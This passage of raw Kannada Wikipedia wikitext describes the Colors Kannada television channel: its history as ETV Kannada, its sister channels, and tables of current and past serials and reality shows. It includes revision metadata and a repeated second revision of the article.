[[ಭಾರತ]] ಮತ್ತು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ]] ಲಭ್ಯವಿದೆ. ಈ ಚಾನೆಲ್‌ನ ಯಶಸ್ಸಿನ ಮೇಲೆ, ಕಲರ್ಸ್ ಸೂಪರ್ ಎಂಬ ಹೆಸರಿನ ಮತ್ತೊಂದು ಚಾನೆಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ಡಿಸೆಂಬರ್ 2020 ರಲ್ಲಿ ಕಲರ್ಸ್ ಕನ್ನಡ ತನ್ನ 20 ನೇ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಸಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|logofile=ಕಲರ್ಸ್ ಕನ್ನಡ.png|country=ಭಾರತ|language=ಕನ್ನಡ|broadcast area=ಭಾರತ|headquarters=ಬೆಂಗಳೂರು ,ಭಾರತ|owner=ವಿಯಾಕಾಮ್ 18|launch=ಡಿಸೆಂಬರ್ 10, 2000; 21 ವರ್ಷಗಳ ಹಿಂದೆ|replaced names=ಈಟಿವಿ ಕನ್ನಡ|slogan=ಬಣ್ಣ ಹೊಸದಗಿದೆ ಬಂಧ ಬಿಗಿಯಾಗಿದೆ|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು}} == ಇತಿಹಾಸ == ಚಾನೆಲ್ ಅನ್ನು ಮೂಲತಃ 10 ಡಿಸೆಂಬರ್ 2000 ರಂದು ETV ಕನ್ನಡ ಎಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು ಮತ್ತು ಹೈದರಾಬಾದ್‌ನ ರಾಮೋಜಿ ರಾವ್ ಅವರಿಂದ ಪ್ರಚಾರ ಮಾಡಲಾಯಿತು. ಇದು ನಂತರ ನೆಟ್‌ವರ್ಕ್ 18 ಒಡೆತನದ ವಯಾಕಾಮ್ 18 ರ ಭಾಗವಾಯಿತು, 26 ಏಪ್ರಿಲ್ 2015 ರಂದು ಅಧಿಕೃತವಾಗಿ ಕಲರ್ಸ್ ಫ್ರ್ಯಾಂಚೈಸ್ ಅಡಿಯಲ್ಲಿ ಮರು-ಬ್ರಾಂಡ್ ಮಾಡಿತು. [[ಕರ್ನಾಟಕ|ಕರ್ನಾಟಕದಲ್ಲಿ]] HD ಚಾನೆಲ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದ ಮೊದಲ GEC ಕಲರ್ಸ್ ಕನ್ನಡ. == ಪ್ರಸ್ತುತ ಪ್ರಸಾರಗಳು == === ಮೂಲ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಟಿಪ್ಪಣಿಗಳು |- | 14 ಜನವರಿ 2019 | ''ನಮ್ಮನೆ ಯುವರಾಣಿ'' | |- | 11 ಜುಲೈ 2022 | ''ಒಲವಿನ ನಿಲ್ದನ'' | |- | 20 ಡಿಸೆಂಬರ್ 2021 | ''ದೊರೆಸಾನಿ'' | |- | 12 ಮಾರ್ಚ್ 2012 | ''ಮಂಗಳ ಗೌರಿ ಮದುವೆ'' | [[ಕನ್ನಡ]] ಕಿರುತೆರೆ ಧಾರಾವಾಹಿ ''ಪುಟ್ಟಗೌರಿ ಮದುವೆಯ'' ಸೀಕ್ವೆಲ್ |- | 27 ಜನವರಿ 2020 | ''ಕನ್ನಡತಿ'' | |- | 6 ಜನವರಿ 2020 | ''ಗೀತಾ'' | |- | 17 ಆಗಸ್ಟ್ 2020 | ''ಗಿಣಿರಾಮ'' | [[ಮರಾಠಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಜೀವ್ ಝಲಾ ಯೆಡಾ ಪಿಸಾದ'' ರೂಪಾಂತರ |- | 31 ಜನವರಿ 2022 | ''ರಾಮಾಚಾರಿ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಲಕ್ಷಣಾ'' | |- | 3 ಫೆಬ್ರವರಿ 2020 | ''ನನ್ನರಸಿ ರಾಧೆ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಕನ್ಯಾಕುಮಾರಿ'' | |- | 28 ಫೆಬ್ರವರಿ 2022 | ''ದಾಸ ಪುರಂದರ'' | ಪ್ರಸಿದ್ಧ ದಾರ್ಶನಿಕ ಮತ್ತು ಗಾಯಕ ''[[ಪುರಂದರದಾಸ|ಪುರಂದರ ದಾಸರ]]'' ಕಥೆ |} === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ರಿಯಾಲಿಟಿ ಶೋ |- | 11 ಜೂನ್ 2022 | ''ರಾಜಾ ರಾಣಿ ಸೀಸನ್ 2'' |- | 9 ಏಪ್ರಿಲ್ 2022 | ''ಗಿಚ್ಚಿ ಗಿಳಿಗಿಲಿ'' |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಡಬ್ ಮಾಡಿದ ಆವೃತ್ತಿ |- | 4 ಜುಲೈ 2022 | ''ನಾಗಕನ್ನಿಕೆ ೭'' | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ನಾಗಿನ್ |- | 25 ಏಪ್ರಿಲ್ 2022 | ''ಪವಾಡ ಪುರುಷ'' | ಮರಾಠಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬಲುಮಾಚ್ಯಾ ನವನೇ ಚಾಂಗ್ಭಾಲಾ'' |} == ಚಾನೆಲ್‌ಗಳು == {| class="wikitable" !ಹೆಸರು ! ಬಿಡುಗಡೆ ದಿನಾಂಕ ! ವರ್ಗ ! SD/HD ಲಭ್ಯತೆ ! ಟಿಪ್ಪಣಿಗಳು |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ'' | 10 ಡಿಸೆಂಬರ್ 2000 | rowspan="2" | GEC | SD+HD | ಹಿಂದೆ ''ಈಟಿವಿ ಕನ್ನಡ'' |- | ''ಕಲರ್ಸ್ ಸೂಪರ್'' | 24 ಜುಲೈ 2016 | rowspan="3" | SD | Viacom18 ರ ಎರಡನೇ ಕನ್ನಡ GEC ಚಾನೆಲ್ |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ'' | 24 ಸೆಪ್ಟೆಂಬರ್ 2018 | [[ಸಿನಮಾ|ಚಲನಚಿತ್ರಗಳು]] | Viacom18 ನ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನೆಲ್ |- | ''[[ನ್ಯೂಸ್18 ಕನ್ನಡ|ನ್ಯೂಸ್ 18 ಕನ್ನಡ]]'' | 19 ಮಾರ್ಚ್ 2014 | [[ವಾರ್ತೆ|ಸುದ್ದಿ]] | ಹಿಂದೆ [[ನ್ಯೂಸ್18 ಕನ್ನಡ|''ಈಟಿವಿ ನ್ಯೂಸ್ ಕನ್ನಡ'']] |} == ಹಿಂದಿನ ಪ್ರಸಾರಗಳು == === ಧಾರಾವಾಹಿಗಳು === === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 1'' | 2013 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 3'' | 2015 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 4'' | 2016 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 7'' | 2019 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 8'' | 2021 | 120 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಮಿನಿ ಸೀಸನ್'' | 2021 | 23 |- | ''ಚಾಟ್ ಕಾರ್ನರ್'' | 2020 | 42 |- | ''ಹಾಸ್ಯ ಕಂಪನಿ'' | 2019 | 18 |- | ''ಕಾಮಿಡಿ ಟಾಕೀಸ್'' | 2017 | 54 |- | ''ನೃತ್ಯ ಚಾಂಪಿಯನ್'' | 2022 | 32 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 1'' | 2014 | |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 2'' | 2015 | 38 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 3'' | 2016 | 26 |- | ''ಥಾಕಾ ಧಿಮಿ ತಾ'' | 2019 | 32 |- | ''ಎದೆ ತುಂಬಿ ಹಾಡುವೆನು'' | 2021 | 29 |- | ''ಎಂದು ಮರೆಯಾದ ಹಾಡು'' | | |- |''ಕುಟುಂಬದ ಶಕ್ತಿ'' | 2017 | 42 |- | ''ಹಾಡು ಕರ್ನಾಟಕ'' | 2020 | 18 |- | ''ಭಾರತೀಯ'' | 2013 | |- | ''[[ಕನ್ನಡದ ಕೋಟ್ಯಧಿಪತಿ|ಕನ್ನಡದ ಕೋಟ್ಯಾಧಿಪತಿ]] ಸೀಸನ್ 4'' | 2019 | |- | ''ಮಜಾ ಭಾರತ ಸೀಸನ್ 4'' | 2020 | 31 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 1'' | 2015 | 264 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 3'' | 2020 | 69 |- | ''ಮುಂಜಾನೆ ರಾಗ'' | 2021 | 60 |- | ''ನನ್ನಮ್ಮ ಸೂಪರ್ ಸ್ಟಾರ್'' | 2021 | 34 |- | ''ಪ್ರಾರ್ಥನೆ'' | 2016 | 262 |- | ''ರಾಜಾ ರಾಣಿ'' | 2021 | 35 |- | ''ಸವಿರುಚಿ'' | 2022 | 60 |- | ''ನಕ್ಷತ್ರ ಸವಿರುಚಿ'' | 2016 | 105 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 1'' | 2015 | |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 2'' | 2016 | 39 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 3'' | 2017 | 28 |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ ! ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ |- | ''ಚಿಕ್ಕೇಜಮಣಿ'' | 2021 - 2022 | 241 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬ್ಯಾರಿಸ್ಟರ್ ಬಾಬು'' |- | ''ನಾಗಕನ್ನಿಕೆ ೨'' | 2020 | 76 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 2'' |- | ''ನಾಗಕನ್ನಿಕೆ ೩'' | 2020 - 2021 | 105 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 3'' |- | ''ನಾಗಕನ್ನಿಕೆ ೪'' | 2021 | 43 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 4'' |- | ''ನಾಗಕನ್ನಿಕೆ ೫'' | 2021 | 95 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 5'' |- | ''ನಾಗಕನ್ನಿಕೆ ೬'' | 2021 | 79 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 1'' |} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] fb9mxt0dthg6492rsavbxfkn74lsq6x 1116601 1116589 2022-08-24T09:19:46Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಕನ್ನಡ''' ಇದು ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. <ref>{{Cite web|url=https://www.viacom18.com/media/colors-kannada-launch|title=Kannada Television to Gain a New Hue|publisher=[[Viacom18]]}}</ref> ಈ ಚಾನಲ್ ಪ್ರಸ್ತುತ [[ಭಾರತ]] ಮತ್ತು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ]] ಲಭ್ಯವಿದೆ. ಈ ಚಾನೆಲ್‌ನ ಯಶಸ್ಸಿನ ಮೇಲೆ, ಕಲರ್ಸ್ ಸೂಪರ್ ಎಂಬ ಹೆಸರಿನ ಮತ್ತೊಂದು ಚಾನೆಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ಡಿಸೆಂಬರ್ 2020 ರಲ್ಲಿ ಕಲರ್ಸ್ ಕನ್ನಡ ತನ್ನ 20 ನೇ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಸಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|logofile=ಕಲರ್ಸ್ ಕನ್ನಡ.png|country=ಭಾರತ|language=ಕನ್ನಡ|broadcast area=ಭಾರತ|headquarters=ಬೆಂಗಳೂರು ,ಭಾರತ|owner=ವಿಯಾಕಾಮ್ 18|launch=ಡಿಸೆಂಬರ್ 10, 2000; 21 ವರ್ಷಗಳ ಹಿಂದೆ|replaced names=ಈಟಿವಿ ಕನ್ನಡ|slogan=ಬಣ್ಣ ಹೊಸದಗಿದೆ ಬಂಧ ಬಿಗಿಯಾಗಿದೆ|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು}} == ಇತಿಹಾಸ == ಚಾನೆಲ್ ಅನ್ನು ಮೂಲತಃ 10 ಡಿಸೆಂಬರ್ 2000 ರಂದು ETV ಕನ್ನಡ ಎಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು ಮತ್ತು ಹೈದರಾಬಾದ್‌ನ ರಾಮೋಜಿ ರಾವ್ ಅವರಿಂದ ಪ್ರಚಾರ ಮಾಡಲಾಯಿತು. ಇದು ನಂತರ ನೆಟ್‌ವರ್ಕ್ 18 ಒಡೆತನದ ವಯಾಕಾಮ್ 18 ರ ಭಾಗವಾಯಿತು, 26 ಏಪ್ರಿಲ್ 2015 ರಂದು ಅಧಿಕೃತವಾಗಿ ಕಲರ್ಸ್ ಫ್ರ್ಯಾಂಚೈಸ್ ಅಡಿಯಲ್ಲಿ ಮರು-ಬ್ರಾಂಡ್ ಮಾಡಿತು. [[ಕರ್ನಾಟಕ|ಕರ್ನಾಟಕದಲ್ಲಿ]] HD ಚಾನೆಲ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದ ಮೊದಲ GEC ಕಲರ್ಸ್ ಕನ್ನಡ. == ಪ್ರಸ್ತುತ ಪ್ರಸಾರಗಳು == === ಮೂಲ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಟಿಪ್ಪಣಿಗಳು |- | 14 ಜನವರಿ 2019 | ''ನಮ್ಮನೆ ಯುವರಾಣಿ'' | |- | 11 ಜುಲೈ 2022 | ''ಒಲವಿನ ನಿಲ್ದನ'' | |- | 20 ಡಿಸೆಂಬರ್ 2021 | ''ದೊರೆಸಾನಿ'' | |- | 12 ಮಾರ್ಚ್ 2012 | ''ಮಂಗಳ ಗೌರಿ ಮದುವೆ'' | [[ಕನ್ನಡ]] ಕಿರುತೆರೆ ಧಾರಾವಾಹಿ ''ಪುಟ್ಟಗೌರಿ ಮದುವೆಯ'' ಸೀಕ್ವೆಲ್ |- | 27 ಜನವರಿ 2020 | ''ಕನ್ನಡತಿ'' | |- | 6 ಜನವರಿ 2020 | ''ಗೀತಾ'' | |- | 17 ಆಗಸ್ಟ್ 2020 | ''ಗಿಣಿರಾಮ'' | [[ಮರಾಠಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಜೀವ್ ಝಲಾ ಯೆಡಾ ಪಿಸಾದ'' ರೂಪಾಂತರ |- | 31 ಜನವರಿ 2022 | ''ರಾಮಾಚಾರಿ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಲಕ್ಷಣಾ'' | |- | 3 ಫೆಬ್ರವರಿ 2020 | ''ನನ್ನರಸಿ ರಾಧೆ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಕನ್ಯಾಕುಮಾರಿ'' | |- | 28 ಫೆಬ್ರವರಿ 2022 | ''ದಾಸ ಪುರಂದರ'' | ಪ್ರಸಿದ್ಧ ದಾರ್ಶನಿಕ ಮತ್ತು ಗಾಯಕ ''[[ಪುರಂದರದಾಸ|ಪುರಂದರ ದಾಸರ]]'' ಕಥೆ |} === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ರಿಯಾಲಿಟಿ ಶೋ |- | 11 ಜೂನ್ 2022 | ''ರಾಜಾ ರಾಣಿ ಸೀಸನ್ 2'' |- | 9 ಏಪ್ರಿಲ್ 2022 | ''ಗಿಚ್ಚಿ ಗಿಳಿಗಿಲಿ'' |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಡಬ್ ಮಾಡಿದ ಆವೃತ್ತಿ |- | 4 ಜುಲೈ 2022 | ''ನಾಗಕನ್ನಿಕೆ ೭'' | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ನಾಗಿನ್ |- | 25 ಏಪ್ರಿಲ್ 2022 | ''ಪವಾಡ ಪುರುಷ'' | ಮರಾಠಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬಲುಮಾಚ್ಯಾ ನವನೇ ಚಾಂಗ್ಭಾಲಾ'' |} == ಚಾನೆಲ್‌ಗಳು == {| class="wikitable" !ಹೆಸರು ! ಬಿಡುಗಡೆ ದಿನಾಂಕ ! ವರ್ಗ ! SD/HD ಲಭ್ಯತೆ ! ಟಿಪ್ಪಣಿಗಳು |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ'' | 10 ಡಿಸೆಂಬರ್ 2000 | rowspan="2" | GEC | SD+HD | ಹಿಂದೆ ''ಈಟಿವಿ ಕನ್ನಡ'' |- | ''ಕಲರ್ಸ್ ಸೂಪರ್'' | 24 ಜುಲೈ 2016 | rowspan="3" | SD | Viacom18 ರ ಎರಡನೇ ಕನ್ನಡ GEC ಚಾನೆಲ್ |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ'' | 24 ಸೆಪ್ಟೆಂಬರ್ 2018 | [[ಸಿನಮಾ|ಚಲನಚಿತ್ರಗಳು]] | Viacom18 ನ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನೆಲ್ |- | ''[[ನ್ಯೂಸ್18 ಕನ್ನಡ|ನ್ಯೂಸ್ 18 ಕನ್ನಡ]]'' | 19 ಮಾರ್ಚ್ 2014 | [[ವಾರ್ತೆ|ಸುದ್ದಿ]] | ಹಿಂದೆ [[ನ್ಯೂಸ್18 ಕನ್ನಡ|''ಈಟಿವಿ ನ್ಯೂಸ್ ಕನ್ನಡ'']] |} == ಹಿಂದಿನ ಪ್ರಸಾರಗಳು == === ಧಾರಾವಾಹಿಗಳು === === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 1'' | 2013 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 3'' | 2015 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 4'' | 2016 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 7'' | 2019 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 8'' | 2021 | 120 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಮಿನಿ ಸೀಸನ್'' | 2021 | 23 |- | ''ಚಾಟ್ ಕಾರ್ನರ್'' | 2020 | 42 |- | ''ಹಾಸ್ಯ ಕಂಪನಿ'' | 2019 | 18 |- | ''ಕಾಮಿಡಿ ಟಾಕೀಸ್'' | 2017 | 54 |- | ''ನೃತ್ಯ ಚಾಂಪಿಯನ್'' | 2022 | 32 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 1'' | 2014 | |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 2'' | 2015 | 38 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 3'' | 2016 | 26 |- | ''ಥಾಕಾ ಧಿಮಿ ತಾ'' | 2019 | 32 |- | ''ಎದೆ ತುಂಬಿ ಹಾಡುವೆನು'' | 2021 | 29 |- | ''ಎಂದು ಮರೆಯಾದ ಹಾಡು'' | | |- |''ಕುಟುಂಬದ ಶಕ್ತಿ'' | 2017 | 42 |- | ''ಹಾಡು ಕರ್ನಾಟಕ'' | 2020 | 18 |- | ''ಭಾರತೀಯ'' | 2013 | |- | ''[[ಕನ್ನಡದ ಕೋಟ್ಯಧಿಪತಿ|ಕನ್ನಡದ ಕೋಟ್ಯಾಧಿಪತಿ]] ಸೀಸನ್ 4'' | 2019 | |- | ''ಮಜಾ ಭಾರತ ಸೀಸನ್ 4'' | 2020 | 31 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 1'' | 2015 | 264 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 3'' | 2020 | 69 |- | ''ಮುಂಜಾನೆ ರಾಗ'' | 2021 | 60 |- | ''ನನ್ನಮ್ಮ ಸೂಪರ್ ಸ್ಟಾರ್'' | 2021 | 34 |- | ''ಪ್ರಾರ್ಥನೆ'' | 2016 | 262 |- | ''ರಾಜಾ ರಾಣಿ'' | 2021 | 35 |- | ''ಸವಿರುಚಿ'' | 2022 | 60 |- | ''ನಕ್ಷತ್ರ ಸವಿರುಚಿ'' | 2016 | 105 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 1'' | 2015 | |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 2'' | 2016 | 39 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 3'' | 2017 | 28 |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ ! ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ |- | ''ಚಿಕ್ಕೇಜಮಣಿ'' | 2021 - 2022 | 241 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬ್ಯಾರಿಸ್ಟರ್ ಬಾಬು'' |- | ''ನಾಗಕನ್ನಿಕೆ ೨'' | 2020 | 76 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 2'' |- | ''ನಾಗಕನ್ನಿಕೆ ೩'' | 2020 - 2021 | 105 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 3'' |- | ''ನಾಗಕನ್ನಿಕೆ ೪'' | 2021 | 43 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 4'' |- | ''ನಾಗಕನ್ನಿಕೆ ೫'' | 2021 | 95 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 5'' |- | ''ನಾಗಕನ್ನಿಕೆ ೬'' | 2021 | 79 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 1'' |} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ 